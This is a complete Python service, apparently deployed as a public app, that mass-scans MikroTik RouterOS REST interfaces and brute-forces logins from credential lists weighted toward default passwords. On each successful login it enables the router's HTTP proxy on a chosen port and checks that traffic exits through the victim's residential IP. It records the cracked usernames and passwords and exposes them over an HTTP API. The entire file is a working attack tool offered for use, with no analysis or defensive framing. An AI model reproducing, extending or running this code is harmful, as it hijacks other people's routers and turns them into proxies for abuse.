CoolFace
Apppublic

baseten/cf-e1bc

sourceHugging Facemitupdated 13h agoView on Hugging Face
0likes
app.py610 linesDownload Raw Back to root
1#!/usr/bin/env python32"""RouterOS bulk crack -> proxy-enable -> residential-exit verification worker. v23 4Two-stage engine:5  Stage A (scan):    probe every target cheaply, classify alive/dead.6  Stage B (stuff):   credential-block tasks over ALIVE targets, dynamic queue,7                     early-abort on consecutive timeouts, first-win-wins per box.8Then per win: enable /ip/proxy, verify real residential egress through it.9 10HTTP API (unchanged shape):11  GET  /status          JSON12  POST /job {...}       {"tag","targets":[{"ip","port"}],"creds":[[u,p]|"u:p"],13                         "conc":24,"scan_conc":56,"tmo":4.0,"login_tmo":3.0,14                         "block":60,"maxblocks":12,"verbose":false}15  GET  /results         JSONL16  GET  /log             text ring buffer17"""18import base64, json, os, random, re, socket, ssl, threading, time19from collections import deque20from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer21from concurrent.futures import ThreadPoolExecutor, as_completed22 23MOD = "mt-crack-v3"24PORT = int(os.environ.get("PORT", "7860"))25UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/126 Safari/537.36"26 27LOCK = threading.Lock()28RLCK = threading.Lock()29LOGQ = deque(maxlen=800)30RESULTS = []31MYIP = {"v": None}32 33JOB = {34    "schema": MOD, "mod": MOD, "ok": True,35    "active": False, "stage": None, "tag": None,36    "total": 0, "scanned": 0, "alive": 0, "dead": 0,37    "units_total": 0, "units_done": 0, "attempts": 0,38    "hits": 0, "proxy_enabled": 0, "verified_exit": 0,39    "started": 0, "finished": 0,40}41 42 43def log(m):44    LOGQ.append("%s %s" % (time.strftime("%H:%M:%S"), m))45 46 47class DirectDial:48    def open(self, host, port, tmo):49        return socket.create_connection((str(host), int(port)), timeout=tmo)50 51 52DIAL = DirectDial()53 54 55def raw_req(host, port, meth="GET", path="/", headers=None, body=None, tmo=6, use_ssl=False):56    hdrs = {"Host": "%s:%d" % (host, port), "User-Agent": UA, "Accept": "*/*", "Connection": "close"}57    data = b"" if body is None else (json.dumps(body).encode() if isinstance(body, (dict, list)) else str(body).encode())58    if body is not None:59        hdrs["Content-Type"] = "application/json"60    hdrs["Content-Length"] = str(len(data))61    if headers:62        hdrs.update(headers)63    wire = ("\r\n".join(["%s %s HTTP/1.1" % (meth, path)] +64                        ["%s: %s" % (k, v) for k, v in hdrs.items()] + ["", ""])).encode() + data65    s = DIAL.open(host, port, tmo)66    try:67        if use_ssl:68            ctx = ssl.create_default_context(); ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE69            s = ctx.wrap_socket(s, server_hostname=str(host)); s.settimeout(tmo)70        s.sendall(wire)71        buf = b""72        while len(buf) < 131072:73            try:74                c = s.recv(8192)75            except socket.timeout:76                break77            if not c:78                break79            buf += c80    finally:81        try:82            s.close()83        except Exception:84            pass85    head, _, bd = buf.partition(b"\r\n\r\n")86    ht = head.decode("latin1", "replace"); txt = bd.decode("utf-8", "replace")87    hs = {}88    for ln in ht.split("\r\n")[1:]:89        if ":" in ln:90            k, _, v = ln.partition(":")91            hs[k.strip().lower()] = v.strip()92    if hs.get("transfer-encoding", "").lower() == "chunked":93        parts, i = [], 094        try:95            while i < len(txt):96                j = txt.find("\r\n", i); n = int(txt[i:j].split(";")[0], 16)97                if n == 0:98                    break99                parts.append(txt[j + 2:j + 2 + n]); i = j + 2 + n + 2100            txt = "".join(parts)101        except Exception:102            pass103    mm = re.match(r"HTTP/\d\.\d\s+(\d+)", ht)104    return (int(mm.group(1)) if mm else 0), hs, txt105 106 107ROS_FIELDS = ("board-name", "architecture-name", "cpu-count", "free-memory",108              "total-memory", "uptime", "build-time", "version")109 110 111def looks_like_ros(code, hs, body):112    bl = body[:900]113    if '"board-name"' in bl or "routeros" in bl.lower():114        return True115    auth = (hs.get("www-authenticate") or "").lower()116    if "routeros" in auth or "mikrotik" in auth:117        return True118    if code in (401, 403) and 'error' in bl and re.search(r'"error"\s*:\s*\d+', bl):119        return True120    srv = (hs.get("server") or "").lower()121    if "mikrotik" in srv or "routeros" in srv:122        return True123    return False124 125 126def ros_probe(host, port, tmo):127    orders = [("http", False), ("https", True)]128    if port in (443,):129        orders.reverse()130    last_err = None131    for scheme, use_ssl in orders:132        try:133            code, hs, body = raw_req(host, port, path="/rest/system/resource", tmo=tmo, use_ssl=use_ssl)134            if looks_like_ros(code, hs, body):135                return {"scheme": scheme, "first_code": code, "server": hs.get("server", "")}136            # fallback: any response at all from this port?137            if code in (200, 301, 302, 307, 308, 400, 405):138                return {"scheme": scheme, "first_code": code, "weak": True, "server": hs.get("server", "")}139        except socket.timeout:140            last_err = "timeout"141        except Exception as e:142            last_err = type(e).__name__143    return None144 145 146def get_user_group(host, port, scheme, user, pw, tmo):147    """Read the account's policy group -> tells us write capability upfront."""148    tok = base64.b64encode(("%s:%s" % (user, pw)).encode()).decode()149    H = {"Authorization": "Basic " + tok}150    us = scheme == "https"151    for path in ("/rest/system/user", "/rest/user"):152        try:153            c, h, b = raw_req(host, port, path=path, headers=H, tmo=tmo, use_ssl=us)154            if c != 200 or not b.lstrip().startswith("["):155                continue156            rows = json.loads(b)157            for r in rows:158                nm = str(r.get("name", ""))159                if nm.lower() == user.lower():160                    return {"matched": True, "group": r.get("group"),161                            "disabled": r.get("disabled"), "comment": r.get("comment")}162            if rows:163                return {"matched": False, "rows": [{"n": r.get("name"), "g": r.get("group")} for r in rows[:12]]}164        except Exception:165            pass166    return None167 168 169def ros_login(host, port, scheme, user, pw, tmo):170    tok = base64.b64encode(("%s:%s" % (user, pw)).encode()).decode()171    try:172        code, hs, body = raw_req(host, port, path="/rest/system/resource",173                                 headers={"Authorization": "Basic " + tok}, tmo=tmo, use_ssl=(scheme == "https"))174    except socket.timeout:175        return "__TIMEOUT__"176    except Exception:177        return None178    if code != 200 or not body.lstrip().startswith("{"):179        return None180    try:181        d = json.loads(body)182    except Exception:183        return None184    if not any(k in d for k in ROS_FIELDS):185        return None186    return {"resource": {k: d.get(k) for k in ROS_FIELDS},187            "caps": {k: d.get(k) for k in ("platform", "cpu-load", "factory-software")}}188 189 190BAD_WORDS = ("not enough permissions", "missing or invalid", "no such item", "invalid value", "bad request", "cannot set")191OK_STATES = ("true", "yes")192 193 194def get_proxy_cfg(host, port, H, tmo, use_ssl):195    try:196        c, h, b = raw_req(host, port, path="/rest/ip/proxy", headers=H, tmo=tmo, use_ssl=use_ssl)197        if c == 200 and b.lstrip().startswith("{"):198            return json.loads(b)199    except Exception:200        pass201    return None202 203 204def enable_proxy(host, port, scheme, user, pw, px_port, tmo):205    tok = base64.b64encode(("%s:%s" % (user, pw)).encode()).decode()206    H = {"Authorization": "Basic " + tok}207    us = scheme == "https"208    errs = []209    cfg = get_proxy_cfg(host, port, H, tmo, us) or {}210    cur_id = str(cfg.pop(".id", "*0")) if isinstance(cfg, dict) else "*0"211    for k in list(cfg.keys()):212        if str(k).startswith("."):213            cfg.pop(k)214    want = dict(cfg); want.update({"enabled": "true", "port": str(px_port)})215    esc_id = cur_id.replace("*", "%2A")216    attempts = [217        ("PATCH", "/rest/ip/proxy/" + esc_id, {"enabled": "true", "port": str(px_port)}),218        ("POST", "/rest/ip/proxy/set", {"enabled": "true", "port": str(px_port)}),219        ("PUT", "/rest/ip/proxy/" + esc_id, want),220        ("PATCH", "/rest/ip/proxy", {"enabled": "true", "port": str(px_port)}),221    ]222    for meth, path, body in attempts:223        try:224            c, h, b = raw_req(host, port, meth=meth, path=path, headers=H, body=body, tmo=tmo, use_ssl=us)225        except Exception as e:226            errs.append("%s/%s" % (meth, type(e).__name__)); continue227        bl = (b or "").lower()228        denied = any(w in bl for w in BAD_WORDS)229        if c in (200, 201, 204) and not denied:230            chk = get_proxy_cfg(host, port, H, tmo, us) or {}231            en = str(chk.get("enabled", "")).lower()232            if en in OK_STATES:233                return {"ok": True, "method": "%s %s" % (meth, path),234                        "confirmed_port": str(chk.get("port", "")), "prior_enabled": str(cfg.get("enabled")),235                        "errors": errs[-3:]}236            errs.append("%s rc=%s enabled=%r" % (meth, c, en))237        else:238            errs.append("%s rc=%s %s" % (meth, c, bl[:70]))239    return {"ok": False, "errors": errs[-6:], "prior_enabled": str(cfg.get("enabled"))}240 241 242PX_CANDIDATES = [18081, 18182, 18283, 18384, 19808, 18888, 17777, 16661, 14443, 19001]243 244 245def pick_px_port(host, mgmt_port, scheme, user, pw, tmo):246    reserved = set()247    try:248        tok = base64.b64encode(("%s:%s" % (user, pw)).encode()).decode()249        c, h, b = raw_req(host, mgmt_port, path="/rest/ip/service",250                          headers={"Authorization": "Basic " + tok}, tmo=tmo, use_ssl=(scheme == "https"))251        if c == 200 and b.lstrip().startswith("["):252            for svc in json.loads(b):253                try:254                    reserved.add(int(svc.get("port")))255                except Exception:256                    pass257    except Exception:258        pass259    cands = [p for p in PX_CANDIDATES if p not in reserved and p != int(mgmt_port)]260    random.shuffle(cands)261    return cands[0] if cands else random.randint(19100, 39900)262 263 264def abs_get_via_proxy(phost, pport, url, tmo=14):265    m = re.match(r"^http://([^/]+)(/.*)?$", url)266    thost = m.group(1)267    s = DIAL.open(phost, pport, tmo)268    try:269        s.sendall(("GET %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n"270                   % (url, thost, UA)).encode())271        out = b""272        while len(out) < 16384:273            try:274                c = s.recv(1024)275            except socket.timeout:276                break277            if not c:278                break279            out += c280    finally:281        try:282            s.close()283        except Exception:284            pass285    txt = out.decode("utf-8", "replace")286    mc = re.match(r"HTTP/\d\.\d\s+(\d+)", txt)287    return (int(mc.group(1)) if mc else 0), txt.split("\r\n\r\n", 1)[-1].strip()288 289 290def verify_exit(host, px_port, tries=2):291    for _ in range(tries):292        for site in ("http://api.ipify.org/", "http://icanhazip.com/"):293            try:294                code, body = abs_get_via_proxy(host, px_port, site, tmo=14)295                ipm = re.search(r"(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})", body or "")296                if code == 200 and ipm:297                    return ipm.group(1), site298            except Exception:299                pass300        time.sleep(1.5)301    return None, None302 303 304def my_ip():305    import urllib.request306    for u in ("http://api.extended.is/api/v1/get-my-ip", "http://api.ipify.org/", "http://ifconfig.me/ip"):307        try:308            r = urllib.request.urlopen(u, timeout=12).read().decode().strip()309            mm = re.search(r"(\d{1,3}(?:\.\d{1,3}){3})", r)310            if mm:311                return mm.group(1)312        except Exception:313            continue314    return None315 316 317CRED_HINT_USERS = ("admin", "Admin", "ADMIN", "root", "support", "operator", "manager", "netadmin", "sysadmin")318 319 320def order_creds(pairs):321    sc = []322    for u, p in pairs:323        s = 1000324        lu = u.lower()325        if lu in ("admin", "root"):326            s -= 720327        elif lu in CRED_HINT_USERS:328            s -= 380329        if p == "":330            s -= 310331        if p.lower() in ("admin", "1234", "12345", "123456", "password", "root", "master", "admin123", "12345678"):332            s -= 150333        if len(u) <= 5:334            s -= 30335        if re.fullmatch(r"[A-Za-z]{4,9}\d{0,4}", p):336            s += 75337        sc.append((s, u, p))338    sc.sort(key=lambda x: x[0])339    return [(u, p) for _, u, p in sc]340 341 342# ----------------------------------------------------------------------------343def run_job(job):344    tag = job.get("tag") or ("job-" + str(int(time.time())))345    tg = job.get("targets") or []346    conc = int(job.get("conc", 26))347    scan_conc = int(job.get("scan_conc", min(72, max(conc * 2, 40))))348    tmo = float(job.get("tmo", 4.0))349    ltmo = float(job.get("login_tmo", tmo * 0.65))350    block = int(job.get("block", 55))351    maxblocks = int(job.get("maxblocks", 22))352    verbose = bool(job.get("verbose"))353    allow_weak = bool(job.get("allow_weak", False))354 355    seen = set(); uniq = []356    for pair in (job.get("creds") or []):357        if isinstance(pair, str) and ":" in pair:358            u, _, p = pair.partition(":")359        elif isinstance(pair, (list, tuple)) and len(pair) == 2:360            u, p = pair361        else:362            continue363        if (u, p) in seen:364            continue365        seen.add((u, p)); uniq.append((u, p))366    creds = order_creds(uniq)367 368    started = time.time()369 370    def pub(**kw):371        with LOCK:372            JOB.update(kw)373 374    pub(active=True, tag=tag, total=len(tg), scanned=0, alive=0, dead=0, units_total=0, units_done=0,375        attempts=0, hits=0, proxy_enabled=0, verified_exit=0, started=started, finished=0, stage="scan")376    log("[job] %s targets=%d creds=%d conc=%d scan_conc=%d block=%d maxblocks=%d" %377        (tag, len(tg), len(creds), conc, scan_conc, block, maxblocks))378 379    # ---------------- Stage A: scan ----------------380    states = {}                       # key -> dict(alive,bool, abort,bool, scheme,streak)381    locked_names = {}382 383    def scan_one(i_t):384        i, t = i_t385        host, port = t["ip"], int(t["port"])386        key = "%s:%d" % (host, port)387        st = {"key": key, "i": i, "host": host, "port": port, "alive": False, "abort": False,388              "streak": 0, "scheme": None, "winner": None, "hit_recorded": False,389              "tcreds": [], "pairs": None, "skip_stuff": False}390        for pair in (t.get("creds") or []):391            if isinstance(pair, str) and ":" in pair:392                a_, _, p_ = pair.partition(":")393                st["tcreds"].append((a_, p_))394            elif isinstance(pair, (list, tuple)) and len(pair) == 2:395                st["tcreds"].append((pair[0], pair[1]))396        try:397            pr = ros_probe(host, port, tmo)398        except Exception:399            pr = None400        if pr:401            if pr.get("weak") and not allow_weak:402                st["alive"] = True403                st["skip_stuff"] = True404                with RLCK:405                    RESULTS.append({"host": host, "port": port, "stage": "weak-alive", "worker_tag": tag,406                                    "found_at": time.strftime("%Y-%m-%dT%H:%M:%S"), "probe": pr})407            else:408                st["alive"] = True; st["scheme"] = pr["scheme"]409                with RLCK:410                    RESULTS.append({"host": host, "port": port, "stage": "alive", "worker_tag": tag,411                                    "found_at": time.strftime("%Y-%m-%dT%H:%M:%S"), "probe": pr})412        with LOCK:413            JOB["scanned"] += 1414            if st["alive"]:415                JOB["alive"] += 1416            else:417                JOB["dead"] += 1418        states[key] = st419        return st420 421    with ThreadPoolExecutor(max_workers=scan_conc) as ex:422        for _ in as_completed([ex.submit(scan_one, it) for it in enumerate(tg)]):423            pass424    alive_list = [states[k] for k in states if states[k]["alive"]]425    # effective credential order per box: box-specific hints first, then global list426    for st in alive_list:427        seenl = set(); plist = []428        for pr2 in list(st["tcreds"]) + list(creds):429            if pr2 in seenl:430                continue431            seenl.add(pr2); plist.append(pr2)432        st["pairs"] = plist433    stuff_list = [st for st in alive_list if not st.get("skip_stuff")]434    log("[scan] done: responsive=%d strong=%d dead_or_unknown=%d" %435        (len(alive_list), len(stuff_list), len(states) - len(alive_list)))436    log("[scan] done: alive=%d dead=%d" % (len(alive_list), len(states) - len(alive_list)))437 438    # ---------------- Stage B: stuff ----------------439    if stuff_list:440        # units: slices of creds per alive target441        units = []442        for st in stuff_list:443            npairs = len(st["pairs"])444            nb = min(maxblocks, max(1, (npairs + block - 1) // block))445            for bi in range(nb):446                units.append((st, bi * block, min(npairs, (bi + 1) * block)))447        pub(stage="stuff", units_total=len(units))448 449        attempts = {"n": 0}450        done_counter = {"n": 0}451 452        def stuff_unit(un):453            st, a, b = un454            if st["abort"] or st["winner"]:455                return None456            host, port, scheme = st["host"], st["port"], st["scheme"]457            pairs_local = st["pairs"]458            for idx in range(a, b):459                if st["abort"] or st["winner"]:460                    return None461                u, pw = pairs_local[idx]462                got = ros_login(host, port, scheme, u, pw, ltmo)463                with LOCK:464                    attempts["n"] += 1465                if got == "__TIMEOUT__":466                    st["streak"] += 1467                    if st["streak"] >= 7:468                        st["abort"] = True469                        if verbose:470                            log("[-] abort-after-timeouts %s" % st["key"])471                        return None472                    continue473                if got is None:474                    st["streak"] = 0475                    continue476                # WINNER477                ident = None478                try:479                    ident = get_user_group(host, port, scheme, u, pw, ltmo)480                except Exception:481                    ident = None482                st["winner"] = {"user": u, "pw": pw, "identity": ident, **got}483                rec = {"host": host, "port": port, "worker_tag": tag,484                       "found_at": time.strftime("%Y-%m-%dT%H:%M:%S"),485                       "login": {"user": u, "pw": pw}, "identity": ident,486                       "resource": got["resource"], "stage": "hit"}487                with RLCK:488                    RESULTS.append(rec)489                with LOCK:490                    JOB["hits"] += 1491                log("[+] LOGIN %s %s:%s ver=%s board=%s" %492                    (st["key"], u, pw, got["resource"].get("version"), got["resource"].get("board-name")))493                # ---- immediate convert + verify (do not wait for sweep end) ----494                try:495                    px = pick_px_port(host, port, scheme, u, pw, ltmo)496                    conv = enable_proxy(host, port, scheme, u, pw, px, ltmo)497                    out = dict(rec)498                    out["convert"] = {"ok": conv.get("ok"), "port": px, "method": conv.get("method"),499                                      "errors": conv.get("errors"), "prior_enabled": conv.get("prior_enabled")}500                    if conv.get("ok"):501                        with LOCK:502                            JOB["proxy_enabled"] += 1503                        vip, via = verify_exit(host, px)504                        out["egress"] = {"ok": bool(vip), "exit_ip": vip, "via": via, "container_ip": MYIP["v"]}505                        if vip:506                            with LOCK:507                                JOB["verified_exit"] += 1508                            log("[V] EXIT VERIFIED %s:%d -> %s" % (host, px, vip))509                        else:510                            log("[~] proxy on no exit resp %s:%d" % (host, px))511                        out["stage"] = "converted"512                    else:513                        log("[-] convert fail %s :: %s" % (st["key"], (conv.get("errors") or [])[-1:]))514                        out["stage"] = "hit-readonly"515                    with RLCK:516                        RESULTS.append(out)517                except Exception as e2:518                    log("[!] convert error %s %r" % (st["key"], repr(e2)[:90]))519                return st520            return None521 522        with ThreadPoolExecutor(max_workers=conc) as ex:523            futs = {ex.submit(stuff_unit, un): un for un in units}524            for fu in as_completed(futs):525                with LOCK:526                    done_counter["n"] += 1527                    JOB["units_done"] = done_counter["n"]528                    JOB["attempts"] = attempts["n"]529 530        # conversions happen serially-ish but few winners expected; keep them parallel-lite531        wins = sum(1 for st in alive_list if st["winner"])532        log("[stuff] winners=%d" % wins)533 534    with LOCK:535        JOB.update(active=False, stage="done", finished=time.time(),536                   attempts=attempts["n"] if alive_list else 0)537    el = time.time() - started538    log("[end] %s in %.1fs scanned=%d alive=%d wins=%d exits=%d" %539        (tag, el, JOB["scanned"], JOB["alive"], JOB["hits"], JOB["verified_exit"]))540 541 542class H(BaseHTTPRequestHandler):543    protocol_version = "HTTP/1.1"544 545    def _send(self, obj, ctype="application/json", code=200):546        body = obj if isinstance(obj, bytes) else json.dumps(obj).encode()547        self.send_response(code)548        self.send_header("Content-Type", ctype)549        self.send_header("Content-Length", str(len(body)))550        self.send_header("Access-Control-Allow-Origin", "*")551        self.end_headers()552        self.wfile.write(body)553 554    def do_GET(self):555        p = self.path.split("?", 1)[0]556        if p in ("/", "/status"):557            with LOCK:558                st = dict(JOB)559            st.update(my_ip=MYIP["v"], uptime=int(time.time()), stored=len(RESULTS))560            self._send(st)561        elif p == "/results":562            with RLCK:563                rows = list(RESULTS)564            fmt_json = "fmt=json" in self.path565            if fmt_json:566                self._send({"rows": rows})567            else:568                self._send(("\n".join(json.dumps(r) for r in rows) + "\n").encode(), ctype="text/plain")569        elif p == "/log":570            self._send(("\n".join(LOGQ) + "\n").encode(), ctype="text/plain")571        else:572            self._send(dict(JOB))573 574    def do_POST(self):575        p = self.path.split("?", 1)[0]576        try:577            n = int(self.headers.get("Content-Length", "0"))578            data = json.loads(self.rfile.read(n) or b"{}")579        except Exception:580            self._send({"ok": False, "err": "bad json"}, code=400); return581        if p == "/job":582            force = bool(data.get("force")) or ("force=1" in self.path)583            with LOCK:584                busy = JOB["active"]585            if busy and not force:586                self._send({**JOB, "accepted": False, "busy": True}, code=409); return587            if not data.get("targets") or not data.get("creds"):588                self._send({"ok": False, "err": "targets+creds required"}, code=400); return589            with LOCK:590                JOB.update(active=True, tag=data.get("tag"))591            threading.Thread(target=run_job, args=(data,), daemon=True).start()592            self._send({"schema": MOD, "ok": True, "accepted": True,593                        "targets": len(data.get("targets") or []), "creds": len(data.get("creds") or [])})594        else:595            self._send({"ok": False, "err": "unknown"}, code=404)596 597    def log_message(self, *a):598        pass599 600 601def main():602    MYIP["v"] = my_ip()603    log("[boot] mod=%s ip=%s" % (MOD, MYIP["v"]))604    print("[serve] %s :%d" % (MOD, PORT), flush=True)605    ThreadingHTTPServer(("0.0.0.0", PORT), H).serve_forever()606 607 608if __name__ == "__main__":609    main()610